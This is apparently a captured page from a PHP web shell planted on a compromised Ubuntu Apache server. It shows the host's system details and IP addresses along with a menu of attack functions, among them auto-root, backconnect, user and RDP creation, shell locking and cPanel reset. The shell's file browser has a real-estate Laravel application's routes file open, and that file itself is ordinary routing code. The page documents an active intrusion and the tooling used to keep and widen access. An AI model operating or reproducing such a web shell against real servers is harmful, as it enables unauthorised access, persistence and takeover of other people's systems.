Linux localhost 5.4.0-198-generic #218-Ubuntu SMP Fri Sep 27 20:18:53 UTC 2024 x86_64
Apache/2.4.41 (Ubuntu)
: 23.92.16.63 | : 104.23.187.230
Cant Read [ /etc/named.conf ]
8.1.5
www-data
www.github.com/MadExploits
Terminal
AUTO ROOT
Adminer
Backdoor Destroyer
Linux Exploit
Lock Shell
Lock File
Create User
CREATE RDP
PHP Mailer
BACKCONNECT
UNLOCK SHELL
HASH IDENTIFIER
CPANEL RESET
CREATE WP USER
README
+ Create Folder
+ Create File
/
var /
www /
realestate /
source /
routes /
[ HOME SHELL ]
Name
Size
Permission
Action
admin.php
3.4
KB
-rwxr-xr-x
api.php
570
B
-rwxr-xr-x
channels.php
558
B
-rwxr-xr-x
console.php
592
B
-rwxr-xr-x
web.php
13.42
KB
-rwxr-xr-x
Delete
Unzip
Zip
${this.title}
Close
Code Editor : web.php
<?php use Illuminate\Support\Facades\Route; /* |-------------------------------------------------------------------------- | Web Routes |`--------------------------------------------------------------------------` | | Here is where you can register web routes for your application. These | routes are loaded by the RouteServiceProvider and all of them will | be assigned to the "web" middleware group. Make something great! | */ use App\Http\Controllers\MainDashboardController; use App\Http\Controllers\DirectoryController; use App\Http\Controllers\ApplicantController; use App\Http\Controllers\Admin\AuthController; use App\Http\Controllers\Admin\DashboardController; use App\Http\Controllers\Admin\UserController; use App\Http\Controllers\Admin\ModuleController; use App\Http\Controllers\Admin\RoleController; use App\Http\Controllers\Admin\LettingsPWController; use App\Http\Controllers\Admin\OccupierTypeController; use App\Http\Controllers\Admin\BuyTypeController; use App\Http\Controllers\Admin\CategoryController; use App\Http\Controllers\Admin\BranchController; use App\Http\Controllers\Admin\PropertyTypeController; use App\Http\Controllers\Admin\SpecialFeatureController; use App\Http\Controllers\Admin\LabelController; use App\Http\Controllers\LandlordController; Route::get('/', function () { return redirect('admin/login'); }); // Routes without "admin" prefix Route::middleware(['auth', 'admin_access'])->group(function () { // Dashboard route without "admin" prefix Route::get('dashboard', [MainDashboardController::class, 'index'])->name('dashboard'); Route::get('applicant', [ApplicantController::class, 'index'])->name('applicant'); Route::get('applicant/create', [ApplicantController::class, 'create'])->name('applicant.create'); Route::post('applicant/store', [ApplicantController::class, 'store'])->name('applicant.store'); Route::get('applicant/{applicant}/edit', [ApplicantController::class, 'edit'])->name('applicant.edit'); Route::delete('/applicant/{applicant}', [ApplicantController::class, 'destroy'])->name('applicant.destroy'); Route::post('/applicant/{applicant}/delete-file', [ApplicantController::class, 'deleteFile']) ->name('applicant.delete_file'); Route::match(['post', 'put', 'get'], '/{applicant}/update', [ApplicantController::class, 'update'])->name('applicant.update'); Route::get('/landlords', [LandlordController::class, 'index'])->name('landlords.index'); Route::get('/landlords/create', [LandlordController::class, 'create'])->name('landlords.create'); Route::post('/landlords/store', [LandlordController::class, 'store'])->name('landlords.store'); Route::get('/landlords/{landlord}/edit', [LandlordController::class, 'edit'])->name('landlords.edit'); Route::put('/landlords/{landlord}/update', [LandlordController::class, 'update'])->name('landlords.update'); Route::delete('/landlords/{landlord}', [LandlordController::class, 'destroy'])->name('landlords.destroy'); Route::post('/landlords/{landlord}/delete-file', [LandlordController::class, 'deleteFile'])->name('landlords.delete_file'); Route::get('directories/create', [DirectoryController::class, 'create'])->name('directories.create'); Route::post('directories/store', [DirectoryController::class, 'store'])->name('directories.store'); Route::get('/directories/{directory}/edit', [DirectoryController::class, 'edit'])->name('directories.edit'); Route::get('/directories', [DirectoryController::class, 'index'])->name('directories.index'); Route::delete('/directories/{directory}', [DirectoryController::class, 'destroy'])->name('directories.destroy'); Route::delete('/directories/{directory}/delete-file', [DirectoryController::class, 'deleteFile'])->name('directories.delete_file'); Route::put('/{directories}/update', [DirectoryController::class, 'update'])->name('directories.update'); Route::get('/search-users', [ApplicantController::class, 'searchUsers'])->name('applicant.users'); Route::get('/getByCategories', [ApplicantController::class, 'getByCategories']) ->name('applicant.getByCategories'); Route::get('/getBy_Categories', [ApplicantController::class, 'getBy_Categories']) ->name('applicant.getBy_Categories'); // Applicant presets Handling Route::post('/applicant/presets/save', [ApplicantController::class, 'savePreset'])->name('applicant.presets.save'); Route::get('/applicant/presets/load', [ApplicantController::class, 'loadPresets'])->name('applicant.presets.load'); // Applicant presets Handling Route::get('/check-username', [ApplicantController::class, 'checkUsername'])->name('applicant.check_user'); }); // Routes with "admin" prefix Route::prefix('admin')->group(function () { // Public routes for admin login/logout Route::middleware('guest')->group(function () { Route::get('login', [AuthController::class, 'showLoginForm'])->name('admin.login'); Route::post('login', [AuthController::class, 'login']); }); Route::get('logout', [AuthController::class, 'logout'])->name('admin.logout'); // Authenticated admin routes Route::middleware(['auth', 'admin_access'])->group(function () { Route::get('/dashboard', [DashboardController::class, 'dashboard'])->name('admin.dashboard'); // categories Management Route::prefix('branches')->group(function () { Route::get('/', [BranchController::class, 'index'])->name('admin.branches.index'); Route::get('/create', [BranchController::class, 'create'])->name('admin.branches.create'); Route::post('/store', [BranchController::class, 'store'])->name('admin.branches.store'); Route::get('/{branch}/edit', [BranchController::class, 'edit'])->name('admin.branches.edit'); Route::put('/{branch}/update', [BranchController::class, 'update'])->name('admin.branches.update'); Route::delete('/{branch}', [BranchController::class, 'destroy'])->name('admin.branches.destroy'); }); // categories Management Route::prefix('labels')->group(function () { Route::get('/', [LabelController::class, 'index'])->name('admin.label.index'); Route::get('/create', [LabelController::class, 'create'])->name('admin.labels.create'); Route::post('/store', [LabelController::class, 'store'])->name('admin.labels.store'); Route::get('/{label}/edit', [LabelController::class, 'edit'])->name('admin.labels.edit'); Route::put('/{label}/update', [LabelController::class, 'update'])->name('admin.labels.update'); Route::delete('/{label}', [LabelController::class, 'destroy'])->name('admin.labels.destroy'); }); // occupier-types Management Route::prefix('occupier-types')->group(function () { Route::get('/', [OccupierTypeController::class, 'index'])->name('admin.occupier-types.index'); Route::get('/create', [OccupierTypeController::class, 'create'])->name('admin.occupier-types.create'); Route::post('/store', [OccupierTypeController::class, 'store'])->name('admin.occupier-types.store'); Route::get('/{occupier_type}/edit', [OccupierTypeController::class, 'edit'])->name('admin.occupier-types.edit'); Route::put('/{occupier_type}/update', [OccupierTypeController::class, 'update'])->name('admin.occupier-types.update'); Route::delete('/{occupier_type}', [OccupierTypeController::class, 'destroy'])->name('admin.occupier-types.destroy'); }); // SpecialFeature Management Route::prefix('special_feature')->group(function () { Route::get('/', [SpecialFeatureController::class, 'index'])->name('admin.special_feature.index'); Route::get('/create', [SpecialFeatureController::class, 'create'])->name('admin.special_feature.create'); Route::post('/store', [SpecialFeatureController::class, 'store'])->name('admin.special_feature.store'); Route::get('/{feature}/edit', [SpecialFeatureController::class, 'edit'])->name('admin.special_feature.edit'); Route::put('/{feature}/update', [SpecialFeatureController::class, 'update'])->name('admin.special_feature.update'); Route::delete('/{feature}', [SpecialFeatureController::class, 'destroy'])->name('admin.special_feature.destroy'); }); // property_types Management Route::prefix('property_types')->group(function () { Route::get('/', [PropertyTypeController::class, 'index'])->name('admin.property_types.index'); Route::get('/create', [PropertyTypeController::class, 'create'])->name('admin.property_types.create'); Route::post('/store', [PropertyTypeController::class, 'store'])->name('admin.property_types.store'); Route::get('/{property_type}/edit', [PropertyTypeController::class, 'edit'])->name('admin.property_types.edit'); Route::put('/{property_type}', [PropertyTypeController::class, 'update'])->name('admin.property_types.update'); // Fix here Route::delete('/{property_type}', [PropertyTypeController::class, 'destroy'])->name('admin.property_types.destroy'); }); // categories Management Route::prefix('categories')->group(function () { Route::get('/', [CategoryController::class, 'index'])->name('admin.categories.index'); Route::get('/create', [CategoryController::class, 'create'])->name('admin.categories.create'); Route::post('/store', [CategoryController::class, 'store'])->name('admin.categories.store'); Route::get('/{category}/edit', [CategoryController::class, 'edit'])->name('admin.categories.edit'); Route::put('/{category}/update', [CategoryController::class, 'update'])->name('admin.categories.update'); Route::delete('/{category}', [CategoryController::class, 'destroy'])->name('admin.categories.destroy'); }); // Role Management Route::prefix('roles')->group(function () { Route::get('/', [RoleController::class, 'index'])->name('admin.roles.index'); Route::get('/create', [RoleController::class, 'create'])->name('admin.roles.create'); Route::post('/store', [RoleController::class, 'store'])->name('admin.roles.store'); Route::get('/{role}/edit', [RoleController::class, 'edit'])->name('admin.roles.edit'); Route::put('/{role}/update', [RoleController::class, 'update'])->name('admin.roles.update'); Route::delete('/{role}', [RoleController::class, 'destroy'])->name('admin.roles.destroy'); }); // Route::resource('occupier-types', OccupierTypeController::class); // buy-types Management Route::prefix('buy-types')->group(function () { Route::get('/', [BuyTypeController::class, 'index'])->name('admin.buy-types.index'); Route::get('/create', [BuyTypeController::class, 'create'])->name('admin.buy-types.create'); Route::post('/store', [BuyTypeController::class, 'store'])->name('admin.buy-types.store'); Route::get('/{buyType}/edit', [BuyTypeController::class, 'edit'])->name('admin.buy-types.edit'); Route::put('/{buyType}/update', [BuyTypeController::class, 'update'])->name('admin.buy-types.update'); Route::delete('/{buyType}', [BuyTypeController::class, 'destroy'])->name('admin.buy-types.destroy'); }); // LettingsPw Management Route::prefix('lettingspw')->group(function () { Route::get('/', [LettingsPWController::class, 'index'])->name('admin.lettingspw.index'); Route::get('/create', [LettingsPWController::class, 'create'])->name('admin.lettingspw.create'); Route::post('/store', [LettingsPWController::class, 'store'])->name('admin.lettingspw.store'); Route::get('/{lettingspw}/edit', [LettingsPWController::class, 'edit'])->name('admin.lettingspw.edit'); Route::put('/{lettingspw}/update', [LettingsPWController::class, 'update'])->name('admin.lettingspw.update'); Route::delete('/{lettingspw}', [LettingsPWController::class, 'destroy'])->name('admin.lettingspw.destroy'); }); // Module Management Route::prefix('modules')->group(function () { Route::get('/', [ModuleController::class, 'index'])->name('admin.modules.index'); Route::get('/create', [ModuleController::class, 'create'])->name('admin.modules.create'); Route::post('/store', [ModuleController::class, 'store'])->name('admin.modules.store'); Route::get('/{module}/edit', [ModuleController::class, 'edit'])->name('admin.modules.edit'); Route::put('/{module}/update', [ModuleController::class, 'update'])->name('admin.modules.update'); Route::delete('/{module}', [ModuleController::class, 'destroy'])->name('admin.modules.destroy'); }); // User Management under "admin" prefix Route::prefix('users')->group(function () { Route::get('/', [UserController::class, 'index'])->name('admin.users'); Route::get('/create', [UserController::class, 'create'])->name('admin.users.create'); Route::post('/store', [UserController::class, 'store'])->name('admin.users.store'); Route::get('/{user}/edit', [UserController::class, 'edit'])->name('admin.users.edit'); Route::put('/{user}/update', [UserController::class, 'update'])->name('admin.users.update'); Route::delete('/{user}', [UserController::class, 'destroy'])->name('admin.users.destroy'); }); }); });
Close